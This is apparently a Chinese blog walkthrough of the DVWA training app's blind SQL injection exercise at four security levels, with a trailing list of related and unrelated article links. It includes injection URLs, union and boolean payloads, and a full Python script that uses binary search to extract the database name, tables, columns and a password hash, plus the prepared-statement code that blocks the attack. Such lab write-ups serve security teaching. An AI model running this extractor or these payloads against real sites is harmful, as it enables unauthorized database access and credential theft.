1.初级篇 Low.php

加单引号提交

http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1'&Submit=Submit#

输出用户id没有找到,加注释符正常,说明是单引号闭合

http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1'%23&Submit=Submit#

构造如下注入,若database名第一个字符为'd',即ascii码为100,页面正常

http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1' and ascii(substr(database(),1,1))=100%23&Submit=Submit#

反之页面不正常

http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1' and ascii(substr(database(),1,1))=99%23&Submit=Submit#

有一点需要注意,语句执行失败会直接返回 404 Not Found,所以猜解失败的时候会触发urllib2.HTTPError

编写一个python脚本很容易完成猜解工作

# -- coding: utf-8 --
# version: python 2.7
# file: sql-blind-injection.py
# time: 2018.2.4
# author: superkrissV import urllib
import urllib2 # 必须携带正确的Cookie
headers={
'Host': 'localhost',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Cookie': 'security=low; PHPSESSID=h8uq0bha6sphm17mik8kml9hd3',
} target_url = "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?Submit=Submit&id=1"
success_str = "User ID exists in the database." length_payload = "' and length(%s)>=%d #"
char_payload = "' and ascii(substr(%s, %d, 1))>=%d #" table_name = "(select table_name from information_schema.tables where table_schema='%s' limit %d,1)"
column_name = "(select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1)"
column_data = "(select %s from %s.%s limit %d, 1)" ascii_start = 33
ascii_end = 126 max_length = 50 # 构造对应的payload并发送
def sendRequest(payload):
url = target_url + urllib.quote(payload)
# print url
try:
request = urllib2.Request(url=url, headers=headers)
response = urllib2.urlopen(request)
if success_str in response.read():
return True
return False
except urllib2.HTTPError as e:
return False # 利用递归和二分法获取长度
def getLength(start, end, command):
if (start+1) == end:return start
mid = (end+start) / 2
if sendRequest(length_payload % (command, mid)):
start = mid
else:
end = mid
# print start," ",end
result = getLength(start, end, command)
return result # 返回pos位置的字符的ascii码值
def getSingleChar(start, end, command, pos):
if (start+1) == end:return start
mid = (end+start) / 2
if sendRequest(char_payload % (command, pos, mid)):
start = mid
else:
end = mid
# print start," ",end
result = getSingleChar(start, end, command, pos)
return result def getInfo(command):
pos = 1
info = ""
maxLen = getLength(1, max_length, command)
print command, " length:", maxLen
while(1):
if pos > maxLen:break
info += chr(getSingleChar(ascii_start, ascii_end, command, pos))
pos += 1
print info getInfo("user()") # 14 root@localhost
getInfo("database()") # 4 dvwa
getInfo(table_name % ("dvwa",1)) # 5 users
getInfo(column_name % ("dvwa","users",1)) # 10 first_name
getInfo(column_name % ("dvwa","users",4)) # 8 password
getInfo(column_data % ("password", "dvwa", "users", 0)) # 32 5f4dcc3b5aa765d61d8327deb882cf99

2.中级篇 Medium.php

POST 提交

id=0 union select 1,2#&Submit=Submit

仍然显示存在,事实上id=0并不存在,但union select 返回了结果,程序只是单纯的判断结果集是否为空

和初级篇一样,猜字符

id=1 and ascii(substr(database(),1,1))=100#&Submit=Submit

3.高级篇 High.php

和上一章不同,这次是写入了cookie

http://localhost/DVWA-master/vulnerabilities/sqli_blind/cookie-input.php

刷新

http://localhost/DVWA-master/vulnerabilities/sqli_blind/

使用EditThisCookie查看cookie

可以直接在这个页面直接注入

0' union select 1,2#

刷新页面

4.不可能篇 Impossible.php

查看源码就知道使用PDO,无法注入

    if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

【DVWA】【SQL Injection(Blind)】SQL盲注 Low Medium High Impossible的更多相关文章

  1. DVWA之 SQL Injection(Blind)

    SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...

  2. (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

  3. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  4. SQL Injection (Blind) Low

    SQL盲注分析 盲注较普通注入难度会有所增加,根据页面响应不同大概分为以下几种:布尔型盲注:时间盲注:报错注入 普通注入与盲注的对比: 普通注入:                            ...

  5. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  6. SQL Injection(SQL注入漏洞)

    审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...

  7. Fortify漏洞之Sql Injection(sql注入)

    公司最近启用了Fortify扫描项目代码,报出较多的漏洞,安排了本人进行修复,近段时间将对修复的过程和一些修复的漏洞总结整理于此! 本篇先对Fortify做个简单的认识,同时总结一下sql注入的漏洞! ...

  8. DVWA 黑客攻防演练(九) SQL 盲注 SQL Injection (Blind)

    上一篇文章谈及了 dvwa 中的SQL注入攻击,而这篇和上一篇内容很像,都是关于SQL注入攻击.和上一篇相比,上一篇的注入成功就马上得到所有用户的信息,这部分页面上不会返回一些很明显的信息供你调试,就 ...

  9. DVWA SQL Injection(Blind) 通关教程

    SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是 ...

随机推荐

  1. 分析Linux内核的启动过程

    第一章 环境 Ubuntu 14.10 Linux Kernel 3.18.6 第二章 代码及调试过程 环境搭建与内核准备: cd ~/LinuxKernel/ wget https://www.ke ...

  2. TQ2440 学习笔记—— 1、Windows平台下开发工具安装与环境建立

    板子:广州天嵌公司的TQ2440,处理器为三星的S3C2440 1.开发工具的安装与环境建立 系统:win7  64位 SecureCRT软件:该软件能够取代Windows中的超级终端,是个非常好的串 ...

  3. Linux地址ping不通情况怎么办?

    查看原文:http://www.ibloger.net/article/325.html Linux地址ping不通情况怎么办? 问题:今天写了一个微信支付的项目.有一个class中使用了httpPo ...

  4. 特征列 属性值 获取 vowpal wabbit 生成DNN 的训练测试数据

    用户特征文件 userFeature.data 每 行 代 表 一 个 用 户 的 特 征 数 据, 格 式 为: “uid|features”,uid 和 features 用竖线“|”分隔.其中 ...

  5. 60分钟Python快速学习

    之前和同事谈到Python,每次下班后跑步都是在听他说,例如Python属于“胶水语言啦”,属于“解释型语言啦!”,是“面向对象的语言啦!”,另外没有数据类型,逻辑全靠空格缩进表示等. 今天自己用了6 ...

  6. Linux 系统内核空间与用户空间通信的实现与分析

    本文转载自:https://www.ibm.com/developerworks/cn/linux/l-netlink/index.html 多数的 Linux 内核态程序都需要和用户空间的进程交换数 ...

  7. Docker Image发布

    Docker Image发布 方法1:导出镜像 #docker save -o centos-httpd-docker-image.tar centos:httpd 使用加载本地镜像 docker l ...

  8. 内核的ramdisk

    ramdisk 内核中的特性之一,使用缓冲和缓存来加速对磁盘上的文件访问,并加载相应的硬件驱. ramdisk --> ramfs,提高速度 CentOS 5: initrd 工具程序:mkin ...

  9. 符号修饰与函数签名、extern “C”(转载)

    转自:http://www.cnblogs.com/monotone/archive/2012/11/16/2773772.html 参考资料: <程序员的自我修养>3.5.3以及3.5. ...

  10. Ubuntu搭建Eclipse+JDK+SDK的Android (转载)

    转自:http://blog.csdn.net/ithomer/article/details/6960989 今晚重装Ubuntu系统,重新安装了一套eclipse+jdk+SDK的Android开 ...